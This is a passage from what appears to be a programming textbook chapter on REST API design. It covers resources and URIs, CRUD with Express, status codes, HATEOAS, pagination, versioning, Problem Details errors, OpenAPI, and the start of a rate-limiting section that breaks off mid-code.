"RESTful" in practice. Most APIs called "REST APIs" today follow the resource-oriented, HTTP-native parts of REST (URIs, methods, status codes, statelessness, caching) but not hypermedia. Fielding has pointed out that such APIs are not REST in his strict sense; the industry term for them is often "REST-style" or "HTTP APIs". This subchapter follows that pragmatic usage while noting where full REST differs.

Key Takeaways

• REST is an architectural style defined by constraints, derived from what made the Web scale.
• The constraints are client-server, stateless, cacheable, uniform interface, layered system and optional code on demand.
• The uniform interface means resources identified by URIs, manipulated through representations, with self-descriptive messages and hypermedia.
• Most "REST APIs" are resource-oriented HTTP APIs without hypermedia; strictly, that is not full REST.

Practice

1. (Beginner) For each REST constraint, give one concrete example of how the Web (browsers, servers, CDNs) satisfies it.
2. (Intermediate) An API stores "the current page of results" in the server session, and GET /results/next returns the next page. Which constraint does this violate, and what problems follow when the API runs on several servers?
3. (Interview) "What would Roy Fielding say is missing from a typical JSON API that uses nice URLs and correct HTTP methods?" Hint: consider how the client learns which actions and URLs are available.

Resources, Representations and URIs

A resource is any concept worth naming: a user, an order, a collection of orders, today's exchange rate, the result of a search. A representation is a snapshot of a resource's state in some format, transferred over the wire. The URI is the resource's stable name. Keeping these three apart is the key to clean API design.

 Resource (concept)            URI (name)                   Representations (formats)
 ---------------------         -------------------          -----------------------------
 Order number 9817        ->   /orders/9817            ->   application/json   {"id":9817,...}
                                                            text/html          <h1>Order 9817</h1>
                                                            application/pdf    (invoice)

Design URIs around nouns, not verbs. The method already says what to do (10.1); the URI should say what it is done to.

Avoid (RPC-style, verbs)	Prefer (resource-oriented)
GET /getUser?id=7	GET /users/7
POST /createOrder	POST /orders
POST /deleteComment?id=5	DELETE /comments/5
GET /listOrdersForUser?user=7	GET /users/7/orders

Common URI conventions.

Convention	Example	Notes
Plural nouns for collections	/products, /products/42	Consistent: collection and its members share a prefix
Lowercase, hyphens for multiple words	/shipping-addresses	Avoid underscores and camelCase in paths
Hierarchy for containment	/users/7/addresses/2	Keep nesting shallow (one or two levels)
Query string for filtering, sorting, pagination	/products?category=books&sort=-price	Not part of the resource's identity hierarchy
No file extensions	/reports/q3, not /reports/q3.json	Use content negotiation (Accept) instead
Stable, opaque IDs	/orders/9817 or /orders/01J9Z3K...	Do not expose internal details that may change

Not everything is CRUD on a table. Resources are a modelling choice, not database tables. Actions that do not map neatly to a method can often be modelled as resources themselves:

"Cancel order 9817"
   RPC style:       POST /orders/9817/cancel                 (acceptable and common, a "controller" resource)
   Resource style:  POST /orders/9817/cancellations          (a cancellation is a thing with its own state)
                    or PATCH /orders/9817 {"status": "cancelled"}

"Transfer money"   POST /transfers {"from": "A", "to": "B", "amount": 100}
"Search"           GET /search?q=http&type=article
"Login"            POST /sessions          "Logout"   DELETE /sessions/current

Representations carry links and metadata, not internal structure. A representation should be designed for the client's needs, not mirror the database schema:

{
  "id": "9817",
  "status": "shipped",
  "placedAt": "2026-10-01T14:03:00Z",
  "total": { "amount": "59.80", "currency": "EUR" },
  "customer": { "id": "7", "href": "/customers/7" },
  "items": [
    { "productId": "42", "name": "Mechanical keyboard", "quantity": 2, "unitPrice": "29.90" }
  ]
}

Notice the conventions: ISO 8601 timestamps in UTC, money as a decimal string with a currency (floating-point numbers cannot represent cents exactly), IDs as strings (safe for JavaScript, which loses precision above 2^53), and a link to the related customer.

Key Takeaways

• Resources are concepts, URIs are their names, representations are their transferable states.
• Use nouns in URIs and let methods express actions; plural collections, lowercase, hyphens, shallow nesting.
• Filtering, sorting and pagination belong in the query string; formats belong in content negotiation.
• Model awkward actions as resources (cancellations, transfers, sessions) or as clearly named sub-resources.
• Design representations for clients: ISO 8601 dates, string IDs, explicit currencies, links to related resources.

Practice

1. (Beginner) Rewrite these endpoints in resource-oriented style: GET /fetchAllBooks, POST /addBookToLibrary, GET /getBooksByAuthor?author=12, POST /removeBook?id=3.
2. (Intermediate) Design the URIs and representations for a library system with books, members, loans and reservations, including how to "return a book".
3. (Interview) "Your product manager wants an endpoint to 'approve' an expense report. How would you model it in a REST-style API, and what are the trade-offs between the options?" Hint: compare a PATCH on status, an action sub-resource, and an approvals collection that keeps history.

Mapping HTTP Methods to CRUD

Most API operations are some form of CRUD: Create, Read, Update, Delete. HTTP methods map onto these naturally, giving every resource the same predictable interface. Once a developer has learnt one collection, they can guess how all the others work.

Operation	Method + URI	Request body	Success response
List collection	GET /articles	None	200 + array (paginated)
Read one	GET /articles/381	None	200 + representation
Create (server assigns ID)	POST /articles	New article	201 Created + Location: /articles/381 + representation
Create with client-chosen ID	PUT /articles/my-slug	Full article	201 Created (new) or 200/204 (replaced)
Replace	PUT /articles/381	Full article	200 + representation, or 204
Partial update	PATCH /articles/381	Changes only	200 + representation, or 204
Delete	DELETE /articles/381	None	204 No Content
Check existence / metadata	HEAD /articles/381	None	200 or 404, no body

A complete CRUD resource (Express, covered fully in Chapter 12):

import express from 'express';
import { randomUUID } from 'node:crypto';

const app = express();
app.use(express.json());

const articles = new Map();                        // demo store; a database in real code

app.get('/articles', (req, res) => {
  res.json({ data: [...articles.values()] });      // wrap arrays: room for pagination metadata
});

app.get('/articles/:id', (req, res) => {
  const article = articles.get(req.params.id);
  if (!article) return res.status(404).json({ title: 'Article not found' });
  res.json(article);
});

app.post('/articles', (req, res) => {
  const { title, body } = req.body ?? {};
  if (!title) return res.status(422).json({ title: 'Validation failed', errors: [{ field: 'title', message: 'is required' }] });
  const article = { id: randomUUID(), title, body: body ?? '', createdAt: new Date().toISOString() };
  articles.set(article.id, article);
  res.status(201).location(`/articles/${article.id}`).json(article);
});

app.put('/articles/:id', (req, res) => {          // full replacement
  const { title, body } = req.body ?? {};
  if (!title) return res.status(422).json({ title: 'Validation failed' });
  const existed = articles.has(req.params.id);
  const article = { id: req.params.id, title, body: body ?? '', createdAt: articles.get(req.params.id)?.createdAt ?? new Date().toISOString() };
  articles.set(article.id, article);
  res.status(existed ? 200 : 201).json(article);
});

app.patch('/articles/:id', (req, res) => {        // JSON Merge Patch semantics
  const article = articles.get(req.params.id);
  if (!article) return res.sendStatus(404);
  const { id, createdAt, ...changes } = req.body ?? {};       // ignore read-only fields
  Object.assign(article, changes);
  res.json(article);
});

app.delete('/articles/:id', (req, res) => {
  articles.delete(req.params.id);                  // idempotent: deleting twice leaves the same state
  res.sendStatus(204);
});

app.listen(3000);

curl -i -X POST localhost:3000/articles -H 'Content-Type: application/json' -d '{"title":"REST"}'
curl -i localhost:3000/articles/<id>
curl -i -X PATCH localhost:3000/articles/<id> -H 'Content-Type: application/json' -d '{"body":"Hello"}'
curl -i -X DELETE localhost:3000/articles/<id>

Design decisions to make consistently.

• Return the resource after writes? Returning it (with 200/201) saves the client a follow-up GET and shows server-generated fields (id, timestamps). 204 saves bandwidth. Pick one convention.
• Repeated DELETE: 204 both times (state-focused) or 404 the second time (resource-focused) are both acceptable; idempotency is about state, not responses.
• Read-only fields: ignore or reject (422) attempts to change id or createdAt.
• Soft delete: a DELETE can mark a record as deleted instead of removing it; subsequent GETs should then return 404 or 410 Gone.
• Bulk operations: there is no standard; common options are POST /articles/batch with an array, or asynchronous jobs (202 Accepted + a job resource to poll).

Key Takeaways

• GET reads, POST to a collection creates, PUT replaces (or creates at a known URI), PATCH partially updates, DELETE removes.
• POST creation returns 201 Created with a Location header.
• Deletion usually returns 204 No Content; repeating it must not change state further.
• Decide once, and apply everywhere: response bodies after writes, read-only fields, soft deletes, bulk operations.

Practice

1. (Beginner) Run the CRUD example and exercise every route with curl -i, noting the status code and headers of each response.
2. (Intermediate) Add a nested comments collection under /articles/:id/comments with full CRUD, returning 404 when the parent article does not exist.
3. (Interview) "Should PUT /articles/381 create the article if it does not exist?" Hint: consider who generates IDs in your system, idempotency, and whether clients can be trusted to choose URIs.

Status Code Design for APIs

Status codes are the first thing a client checks, and generic tools (monitoring, retries, caches, API gateways) act on them without reading the body. A consistent, precise set of codes makes an API predictable; returning 200 OK with {"error": "..."} in the body breaks all of those tools.

A practical decision guide.

Did the request succeed?
 |
 +-- yes --> created something?            --> 201 Created + Location
 |           accepted for later processing? --> 202 Accepted (+ link to a status resource)
 |           nothing to return?             --> 204 No Content
 |           otherwise                      --> 200 OK
 |
 +-- no, the client must change something
 |       body unparseable / malformed       --> 400 Bad Request
 |       no or invalid credentials          --> 401 Unauthorized (+ WWW-Authenticate)
 |       authenticated but not allowed      --> 403 Forbidden (or 404 to hide existence)
 |       resource does not exist            --> 404 Not Found
 |       method not supported here          --> 405 Method Not Allowed (+ Allow)
 |       conflicts with current state       --> 409 Conflict
 |       precondition (If-Match) failed     --> 412 Precondition Failed
 |       unsupported Content-Type           --> 415 Unsupported Media Type
 |       well-formed but invalid data       --> 422 Unprocessable Content
 |       too many requests                  --> 429 Too Many Requests (+ Retry-After)
 |
 +-- no, the server failed
         unexpected error                   --> 500 Internal Server Error
         upstream service failed            --> 502 Bad Gateway / 504 Gateway Timeout
         overloaded or in maintenance       --> 503 Service Unavailable (+ Retry-After)

Distinctions that often cause debate.

Question	Guideline
400 or 422 for validation errors?	400 for syntactically broken requests (invalid JSON, wrong types); 422 for valid JSON that violates business rules. Many APIs use 400 for both; consistency matters most.
404 or 200 with an empty array for a search with no results?	200 + empty array: the collection exists, it is just empty.
409 or 422 for a duplicate email?	409 Conflict: the data is valid but conflicts with existing state.
401 or 403 for an expired token?	401: re-authenticating fixes it.
403 or 404 for another tenant's resource?	Usually 404, to avoid revealing that it exists.
500 or 503 when the database is down?	503 (temporary, retryable) if you detect it; 500 for unexpected bugs.

Asynchronous operations with 202. Long-running work (video encoding, report generation) should not hold an HTTP request open for minutes:

POST /reports HTTP/1.1
Content-Type: application/json

{"type": "sales", "year": 2026}

HTTP/1.1 202 Accepted
Location: /reports/jobs/77
Retry-After: 10

{"id": "77", "status": "queued", "href": "/reports/jobs/77"}

GET /reports/jobs/77 HTTP/1.1

HTTP/1.1 200 OK
{"id": "77", "status": "done", "result": "/reports/2026-sales"}

Never leak internals in 5xx responses. Log the stack trace server-side with a correlation ID and return only a generic message plus that ID (see Error Response Design below).

Key Takeaways

• Use the most specific standard code; never return 200 for errors.
• 201 + Location for creation, 202 for asynchronous work, 204 for empty success.
• 400 for malformed requests, 422 for semantic validation errors, 409 for state conflicts.
• 401 means re-authenticate; 403 (or 404) means not allowed.
• 5xx codes signal server-side failures; 503 and 429 should include Retry-After.

Practice

1. (Beginner) Choose the status code for: creating a user with an email already taken; uploading a 2 GB file to an endpoint with a 10 MB limit; requesting /orders?page=999 beyond the last page; calling PUT on a read-only resource.
2. (Intermediate) Implement the asynchronous report flow with 202 Accepted, a job resource, and a client that polls respecting Retry-After.
3. (Interview) "A GraphQL server returns HTTP 200 even for errors. Why, and what does that mean for monitoring?" Hint: one request can contain several operations that partly succeed; think about what HTTP-level tools can still see.

Richardson Maturity Model and HATEOAS

Leonard Richardson proposed a model (popularised by Martin Fowler in 2010) that grades HTTP APIs by how much of the Web's architecture they use. It is a helpful vocabulary for explaining what "more RESTful" means, step by step.

 Level 3  Hypermedia controls   responses contain links to related resources and available actions
   ^
 Level 2  HTTP verbs            correct methods and status codes, caching
   ^
 Level 1  Resources             many URIs, one per resource
   ^
 Level 0  The swamp of POX      one URI, one method (POST), HTTP used only as a transport

Level 0: one endpoint, HTTP as a tunnel. SOAP and early XML-RPC services work this way: every call is a POST to the same URL, and the body says what to do.

POST /api HTTP/1.1
{"action": "getOrder", "orderId": 9817}

POST /api HTTP/1.1
{"action": "cancelOrder", "orderId": 9817}

Level 1: resources. Separate URIs per resource, but still one method:

POST /orders/9817 HTTP/1.1
{"action": "get"}

Level 2: HTTP methods and status codes. What most modern APIs do: GET /orders/9817, DELETE /orders/9817, 201, 404, caching headers. Safe and idempotent semantics now let intermediaries help.

Level 3: hypermedia controls (HATEOAS). Responses tell the client what it can do next, with links, just as an HTML page offers links and forms:

{
  "id": "9817",
  "status": "pending",
  "total": { "amount": "59.80", "currency": "EUR" },
  "_links": {
    "self":     { "href": "/orders/9817" },
    "customer": { "href": "/customers/7" },
    "payment":  { "href": "/orders/9817/payment", "method": "POST" },
    "cancel":   { "href": "/orders/9817/cancellations", "method": "POST" }
  }
}

Once the order is shipped, the server simply omits payment and cancel. The client does not need to know the business rule "orders can only be cancelled before shipping"; it shows a Cancel button only if a cancel link is present.

Hypermedia formats. Plain JSON has no notion of links, so several conventions exist: HAL (_links, _embedded, shown above), JSON:API (links, relationships), Siren (links plus actions with fields, like forms), and the HTTP Link header (RFC 8288), widely used for pagination:

Link: </orders?cursor=b2Zmc2V0PTQw>; rel="next", </orders>; rel="first"

Benefits and reality.

Benefits of Level 3	Why it is rare in practice
Server can change URIs without breaking clients that follow links	Most clients are custom code written against documentation, not generic hypermedia clients
Business rules (allowed transitions) stay on the server	Front-end developers usually hardcode URL templates anyway
API becomes explorable and self-documenting	Extra payload and design effort
Clients and servers evolve more independently	Tooling (OpenAPI, code generators) centres on Level 2

A pragmatic middle ground is common: Level 2 everywhere, plus links for pagination, related resources and state-dependent actions.

Key Takeaways

• The Richardson Maturity Model has four levels: single endpoint (0), resources (1), HTTP methods and status codes (2), hypermedia controls (3).
• Most production APIs are Level 2.
• HATEOAS means responses include links to related resources and currently allowed actions, so clients discover rather than hardcode them.
• Formats such as HAL, JSON:API, Siren and the Link header represent hypermedia in JSON APIs.

Practice

1. (Beginner) Classify these APIs by maturity level: a SOAP service; POST /api/getUser; GET /users/7 returning 200 or 404; a response that includes _links.next.
2. (Intermediate) Add HAL-style _links to the order representation of an API so that cancel and pay links appear only when the order's state allows them, and make a front-end render buttons based on those links.
3. (Interview) "Is an API without hypermedia RESTful?" Hint: distinguish Fielding's definition from industry usage, and explain what concrete benefit hypermedia would add.

Filtering, Sorting and Pagination

Collections grow. A GET /orders that returned all orders would eventually send megabytes and hammer the database. Clients need to ask for subsets (filtering), in a specific order (sorting), a page at a time (pagination), and sometimes only certain fields (sparse fieldsets). All of these are expressed with query parameters on the collection URI.

Filtering and sorting conventions.

GET /products?category=books&inStock=true                    exact-match filters
GET /products?price[gte]=10&price[lt]=50                     range operators (bracket style)
GET /products?minPrice=10&maxPrice=50                        range operators (named style)
GET /products?q=typescript                                   full-text search
GET /products?sort=-rating,price                             sort by rating desc, then price asc
GET /products?fields=id,name,price                           sparse fieldset: smaller responses

Validate and allowlist every filter and sort field on the server. Passing arbitrary user input into database queries leads to injection (Chapter 17) and to slow queries on unindexed columns.

Offset pagination. Simple and supports jumping to page N:

GET /products?limit=20&offset=40 HTTP/1.1          <- items 41-60 (or ?page=3&pageSize=20)

HTTP/1.1 200 OK
{
  "data": [ ... 20 products ... ],
  "meta": { "total": 1342, "limit": 20, "offset": 40 }
}

SELECT * FROM products ORDER BY created_at DESC LIMIT 20 OFFSET 40;

Problems appear at scale: the database must still walk past all skipped rows (OFFSET 100000 is slow), and if items are inserted or deleted while the user pages, items are skipped or shown twice.

Cursor (keyset) pagination. Instead of "skip 40", the client says "give me items after this one". The cursor encodes the sort key of the last item seen:

GET /products?limit=20 HTTP/1.1

HTTP/1.1 200 OK
Link: </products?limit=20&after=eyJjIjoiMjAyNi0xMC0wMVQxMDowMDowMFoiLCJpIjoiODgxIn0>; rel="next"
{
  "data": [ ... 20 products ... ],
  "meta": { "nextCursor": "eyJjIjoiMjAyNi0xMC0wMVQxMDowMDowMFoiLCJpIjoiODgxIn0" }
}

-- Cursor decodes to {"c": "2026-10-01T10:00:00Z", "i": "881"}; the id breaks ties
SELECT * FROM products
WHERE (created_at, id) < ('2026-10-01T10:00:00Z', 881)
ORDER BY created_at DESC, id DESC
LIMIT 20;               -- uses an index on (created_at, id): fast at any depth

// Encoding and decoding opaque cursors
const encodeCursor = (row) =>
  Buffer.from(JSON.stringify({ c: row.createdAt, i: row.id })).toString('base64url');
const decodeCursor = (s) => JSON.parse(Buffer.from(s, 'base64url').toString());

app.get('/products', async (req, res) => {
  const limit = Math.min(Number(req.query.limit) || 20, 100);   // enforce a maximum page size
  const after = req.query.after ? decodeCursor(req.query.after) : null;
  const rows = await db.products.page({ after, limit: limit + 1 }); // fetch one extra to detect "more"
  const hasMore = rows.length > limit;
  const data = rows.slice(0, limit);
  const nextCursor = hasMore ? encodeCursor(data.at(-1)) : null;
  if (nextCursor) res.set('Link', `</products?limit=${limit}&after=${nextCursor}>; rel="next"`);
  res.json({ data, meta: { nextCursor } });
});

	Offset / page number	Cursor / keyset
Jump to arbitrary page	Yes	No (only next/previous)
Performance on deep pages	Degrades (rows are scanned and skipped)	Constant (index seek)
Stable under inserts/deletes	No (duplicates or gaps)	Yes
Total count	Easy (but COUNT(*) can itself be slow)	Usually omitted
Typical UI	Numbered pages, admin tables	Infinite scroll, feeds, sync APIs

Good practice. Always paginate collections (with a default and a maximum limit), wrap results in an object ({ "data": [...] }) so metadata can be added later, keep cursors opaque so the encoding can change, and document a stable default sort order.

Key Takeaways

• Filtering, sorting, field selection and pagination use query parameters on the collection URI.
• Allowlist filter and sort fields and cap page sizes on the server.
• Offset pagination is simple and supports page jumps but is slow on deep pages and unstable under changes.
• Cursor pagination is fast and stable, ideal for feeds and large data sets, but cannot jump to page N.
• Return navigation information in the body and/or Link headers, and wrap arrays in an envelope.

Practice

1. (Beginner) Write the query strings for: the second page of 25 laptops under 1000 EUR sorted by price ascending; the 10 most recent reviews with only id, rating and title.
2. (Intermediate) Implement both offset and cursor pagination over an array of 1000 items sorted by date, then insert new items between requests and show how each approach behaves.
3. (Interview) "Users complain that page 5,000 of the admin order list takes 20 seconds to load. Why, and what are your options?" Hint: think about what the database does with OFFSET, and whether anyone really needs page 5,000.

API Versioning Strategies

APIs have clients you do not control: mobile apps that users never update, partners' integrations, scripts written years ago. Once published, an API is a contract. Versioning lets you evolve it without breaking existing clients.

First, avoid needing a new version. Many changes are backward compatible if clients follow the "tolerant reader" principle (ignore unknown fields):

Usually non-breaking	Breaking
Adding a new endpoint	Removing or renaming an endpoint or field
Adding an optional request field	Making an optional field required
Adding a field to a response	Changing a field's type or format ("price": 9.9 to "price": "9.90")
Adding a new enum value (if clients handle unknown values)	Changing the meaning of a field or status code
Relaxing validation	Tightening validation, changing defaults or authentication

Versioning strategies.

Strategy	Example	Pros	Cons
URI path	GET /v2/orders/9817	Obvious, easy to route, test and cache, visible in logs	The "same" resource has several URIs; tends to version everything at once
Query parameter	GET /orders/9817?version=2	Easy to add	Easy to forget; complicates caching
Custom header	Api-Version: 2	Clean URIs	Less visible; needs Vary; harder to test in a browser
Media type (content negotiation)	Accept: application/vnd.example.order.v2+json	Most "RESTful"; versions individual representations	Complex for clients and tooling
Date-based	Stripe-Version: 2026-09-30	Fine-grained, account pinned to the version at sign-up; server translates between versions	Requires a version-transformation layer on the server

// URI versioning with Express routers (Chapter 12)
import express from 'express';
import { v1Router } from './routes/v1.js';
import { v2Router } from './routes/v2.js';

const app = express();
app.use('/v1', v1Router);   // old contract, deprecated
app.use('/v2', v2Router);   // current contract

// Header versioning with a default
app.use((req, res, next) => {
  req.apiVersion = Number(req.get('Api-Version') ?? 2);  // default to the latest stable version
  res.set('Vary', 'Api-Version');                         // caches must key on the header
  next();
});

Deprecating and retiring versions. Announce early, tell clients in-band, and measure usage before shutting anything down:

HTTP/1.1 200 OK
Deprecation: @1791763200                                  <- RFC 9745: deprecated since this time
Sunset: Wed, 30 Jun 2027 23:59:59 GMT                     <- RFC 8594: will stop working after this date
Link: <https://developer.example.com/migrate-v2>; rel="deprecation"

After the sunset date, return 410 Gone with a helpful message rather than silently breaking.

Practical advice. URI versioning with a major version only (/v1, /v2) is the most common choice for public APIs because it is explicit and simple. Increment the version only for breaking changes, keep at most two or three versions alive, and log which clients use which version so you know whom to contact.

Key Takeaways

• Prefer backward-compatible evolution: add, don't change or remove; clients should ignore unknown fields.
• Version strategies: URI path, query parameter, custom header, media type, date-based; URI path is the most common.
• Bump versions only for breaking changes and use Vary for header-based versioning.
• Announce deprecation with documentation plus Deprecation, Sunset and Link headers, monitor usage, then return 410 Gone.

Practice

1. (Beginner) Classify as breaking or non-breaking: adding middleName to the user response; renaming zip to postalCode; adding a new value "refunded" to status; making phone required on sign-up.
2. (Intermediate) Implement /v1/users returning {"name": "Ada Lovelace"} and /v2/users returning {"firstName": "Ada", "lastName": "Lovelace"} from the same data, with deprecation headers on v1.
3. (Interview) "How does a date-based versioning scheme like Stripe's work internally, and why might a company choose it over /v2?" Hint: think of a chain of small transformations applied to responses, from the latest version back to the version a client is pinned to.

Error Response Design

A status code says what kind of failure occurred; the body should say exactly what went wrong and how to fix it, in a format that programs can parse and humans can read. Inconsistent error bodies (sometimes a string, sometimes {error}, sometimes {message}) force clients to write special cases for every endpoint.

Problem Details (RFC 9457). The IETF standard JSON format for HTTP API errors, with the media type application/problem+json:

HTTP/1.1 422 Unprocessable Content
Content-Type: application/problem+json
Content-Language: en

{
  "type": "https://api.example.com/problems/validation-error",
  "title": "Your request is not valid.",
  "status": 422,
  "detail": "2 fields failed validation.",
  "instance": "/orders/requests/4f1e9c",
  "errors": [
    { "pointer": "/quantity", "detail": "must be a positive integer" },
    { "pointer": "/shippingAddress/postalCode", "detail": "is required" }
  ],
  "traceId": "0af7651916cd43dd8448eb211c80319c"
}

Member	Purpose
type	URI identifying the problem type (ideally a documentation page); the primary machine-readable identifier
title	Short, human-readable summary of the problem type (same for every occurrence)
status	The HTTP status code (repeated for convenience, e.g. when the body is logged)
detail	Human-readable explanation of this occurrence
instance	URI identifying this specific occurrence
Extensions	Any extra members: errors (field-level details), traceId, retryAfter, balance...

A central error handler. Throw typed errors in handlers and convert them once, so every endpoint answers in the same format:

class ProblemError extends Error {
  constructor(status, type, title, detail, extras = {}) {
    super(detail);
    Object.assign(this, { status, type, title, detail, extras });
  }
}

// In a route handler
app.post('/orders', async (req, res) => {
  const product = await db.products.find(req.body.productId);
  if (!product) throw new ProblemError(422, 'product-not-found', 'Unknown product',
                                       `Product ${req.body.productId} does not exist.`);
  if (product.stock < req.body.quantity) throw new ProblemError(409, 'out-of-stock', 'Out of stock',
                                       `Only ${product.stock} items left.`, { available: product.stock });
  // ...
});

// Error-handling middleware (Express 5 forwards rejected promises here automatically)
app.use((err, req, res, next) => {
  const traceId = req.id;                                        // set by a request-ID middleware
  if (err instanceof ProblemError) {
    return res.status(err.status).type('application/problem+json').json({
      type: `https://api.example.com/problems/${err.type}`,
      title: err.title, status: err.status, detail: err.detail, traceId, ...err.extras,
    });
  }
  req.log?.error({ err, traceId }, 'Unhandled error');           // full details stay in the logs
  res.status(500).type('application/problem+json').json({
    type: 'about:blank', title: 'Internal Server Error', status: 500,
    detail: 'An unexpected error occurred. Please contact support with the trace ID.', traceId,
  });
});

Principles.

• Be consistent: one error format for the whole API, including 404 for unknown routes and 405 for wrong methods.
• Be actionable: say which field is wrong and why; link to documentation through type.
• Use stable machine-readable codes (type, or a code extension); clients must never parse detail text, which may change or be translated.
• Do not leak internals: no stack traces, SQL errors, file paths or library versions in responses.
• Correlate: include a trace or request ID that support can find in the logs.
• Report all validation errors at once, not one per request, so forms can highlight every problem.

Key Takeaways

• Pair the right status code with a structured body; never return errors with 200.
• RFC 9457 Problem Details (application/problem+json) standardises type, title, status, detail and instance, with room for extensions.
• Centralise error formatting in one handler; throw typed errors from route code.
• Make errors actionable and machine-readable, list all validation failures, include a trace ID, and hide internal details.

Practice

1. (Beginner) Write Problem Details bodies for: an expired access token, a duplicate username, and a rate-limit rejection with a retry time.
2. (Intermediate) Add the ProblemError class and error middleware to the CRUD example from earlier, including a catch-all 404 handler for unknown routes, and validate request bodies so all field errors are reported in errors.
3. (Interview) "Your API's error messages are translated into the user's language. How should a mobile client decide which error happened?" Hint: separate machine-readable identifiers from human-readable text.

Documentation with OpenAPI

An API is only as usable as its documentation. OpenAPI (formerly Swagger) is the standard, language-neutral format for describing HTTP APIs in YAML or JSON: every path, method, parameter, request body, response, status code and security scheme. Because the description is machine-readable, it powers far more than documentation pages.

                     openapi.yaml (single source of truth)
                                  |
   +--------------+---------------+----------------+-----------------+
   |              |               |                |                 |
 Interactive   Client SDK      Server stubs     Request/response   Mock servers,
 docs (Swagger generation      and validation   validation in      contract tests,
 UI, Redoc,    (TypeScript,    middleware       tests and          API gateways
 Scalar)       Java, Python)                    at runtime

A small OpenAPI 3.1 document.

openapi: 3.1.0
info:
  title: Bookshop API
  version: 1.2.0
  description: Manage books and orders.
servers:
  - url: https://api.bookshop.example/v1
paths:
  /books:
    get:
      summary: List books
      operationId: listBooks
      parameters:
        - name: author
          in: query
          schema: { type: string }
        - name: limit
          in: query
          schema: { type: integer, minimum: 1, maximum: 100, default: 20 }
      responses:
        '200':
          description: A page of books
          content:
            application/json:
              schema:
                type: object
                properties:
                  data:
                    type: array
                    items: { $ref: '#/components/schemas/Book' }
    post:
      summary: Add a book
      operationId: createBook
      security: [{ bearerAuth: [] }]
      requestBody:
        required: true
        content:
          application/json:
            schema: { $ref: '#/components/schemas/NewBook' }
      responses:
        '201':
          description: Created
          headers:
            Location: { schema: { type: string } }
          content:
            application/json:
              schema: { $ref: '#/components/schemas/Book' }
        '422':
          description: Validation error
          content:
            application/problem+json:
              schema: { $ref: '#/components/schemas/Problem' }
  /books/{bookId}:
    get:
      operationId: getBook
      parameters:
        - { name: bookId, in: path, required: true, schema: { type: string } }
      responses:
        '200':
          description: The book
          content:
            application/json:
              schema: { $ref: '#/components/schemas/Book' }
        '404': { description: Not found }
components:
  securitySchemes:
    bearerAuth: { type: http, scheme: bearer, bearerFormat: JWT }
  schemas:
    NewBook:
      type: object
      required: [title, author]
      properties:
        title: { type: string, minLength: 1 }
        author: { type: string }
        isbn: { type: string, pattern: '^97[89]\d{10}$' }
    Book:
      allOf:
        - $ref: '#/components/schemas/NewBook'
        - type: object
          required: [id]
          properties:
            id: { type: string, readOnly: true }
    Problem:
      type: object
      properties:
        type: { type: string, format: uri }
        title: { type: string }
        status: { type: integer }
        detail: { type: string }

OpenAPI 3.1 aligned its schemas fully with JSON Schema (2020-12), so the same schemas can validate requests at runtime. Version 3.2 (2025) adds refinements such as better support for streaming responses and additional HTTP methods.

Design-first vs code-first.

Approach	How	Strengths	Risks
Design-first	Write openapi.yaml, review it with consumers, then implement	API designed for clients; parallel front-end and back-end work using mocks	Spec and code can drift unless validated in CI
Code-first	Generate the spec from code annotations or schemas (NestJS, Fastify schemas, zod-to-openapi, FastAPI)	Spec always matches the implementation	API shape driven by implementation details

Either way, keep the spec in version control, lint it (Spectral, Redocly CLI), and check in CI that the implementation and the spec agree.

Using the spec.

# Interactive documentation
npx @redocly/cli preview-docs openapi.yaml       # local preview of Redoc docs
npx @redocly/cli lint openapi.yaml               # style and correctness checks

# Generate TypeScript types for a front-end client
npx openapi-typescript openapi.yaml -o src/api/schema.d.ts

// Express: serve Swagger UI and validate requests against the spec
import swaggerUi from 'swagger-ui-express';
import * as OpenApiValidator from 'express-openapi-validator';
import { parse } from 'yaml';
import { readFileSync } from 'node:fs';

const spec = parse(readFileSync('./openapi.yaml', 'utf8'));
app.use('/docs', swaggerUi.serve, swaggerUi.setup(spec));          // browsable docs at /docs
app.use(OpenApiValidator.middleware({ apiSpec: './openapi.yaml', validateRequests: true }));
// invalid requests are rejected with 400 before reaching your handlers

Good documentation goes beyond the reference: add a getting-started guide, authentication instructions, examples for each operation, error catalogue (the type URIs from the previous topic), changelog and rate-limit policy.

Key Takeaways

• OpenAPI describes HTTP APIs (paths, operations, parameters, schemas, responses, security) in YAML or JSON.
• One spec drives interactive docs, client and server code generation, validation, mocks and tests.
• OpenAPI 3.1+ uses JSON Schema, so schemas double as runtime validators.
• Choose design-first or code-first, but keep spec and implementation in sync with linting and CI checks.

Practice

1. (Beginner) Paste the example into the Swagger Editor (editor.swagger.io) and explore the generated documentation. Add a DELETE /books/{bookId} operation returning 204 and 404.
2. (Intermediate) Write an OpenAPI description for the CRUD articles API from earlier in this subchapter, serve it with Swagger UI, and add request validation so that a missing title is rejected automatically.
3. (Interview) "Your mobile team keeps discovering that the backend changed a response field without notice. How could OpenAPI help prevent this?" Hint: think about breaking-change detection between two versions of the spec in CI (tools such as oasdiff) and contract tests.

Rate Limiting and Throttling

An API without limits can be overwhelmed by a single buggy script, a scraper, a brute-force login attack or a denial-of-service attempt. Rate limiting caps how many requests a client may make in a time window; throttling slows clients down or queues requests instead of rejecting them. Both protect availability, ensure fairness between customers, control costs and enforce pricing plans.

Identify the client first. Limits are applied per key: an API key or user ID for authenticated traffic, the client IP for anonymous traffic (with care behind proxies, 10.1), or a combination (per account and per IP for login endpoints).

Algorithms.

Algorithm	Idea	Pros	Cons
Fixed window	Count requests per calendar window (e.g. per minute)	Simplest; one counter per key	Bursts at window boundaries (up to 2x the limit across two windows)
Sliding window log	Store timestamps of recent requests	Exact	Memory grows with the limit
Sliding window counter	Weighted mix of current and previous window counts	Smooth, cheap	Approximate
Token bucket	Bucket refills at a steady rate up to a capacity; each request takes a token	Allows controlled bursts, smooth average	Two parameters to tune
Leaky bucket	Requests enter a queue that drains at a fixed rate	Perfectly smooth output (throttling)	Adds latency; queue can fill

Token bucket: capacity 10, refill 1 token/second

 t=0s   [##########]  10 tokens  -> burst of 10 requests allowed, bucket empty
 t=1s   [#.........]   1 token   -> 1 more request allowed
 t=5s   [#####.....]   5 tokens  -> unused time accumulates, up to the capacity
 Sustained rate: 1 req/s. Maximum burst: 10 requests.

A token bucket in JavaScript.

// In-memory token bucket per key (single process; use Redis for multiple instances)
const buckets = new Map();

function takeToken(key, { capacity = 10, refillPerSec = 1 } = {}) {
  const now = Date.now() / 1000;
  const b = buckets.get(key) ?? { tokens: capacity, last: now };
  b.tokens = Math.min(capacity, b.tokens + (now - b.last) * refillPerSec); // refill for elapsed time
  b.last = now;
  const allowed = b.tokens >= 1;
  if (allowed) b.tokens -= 1;
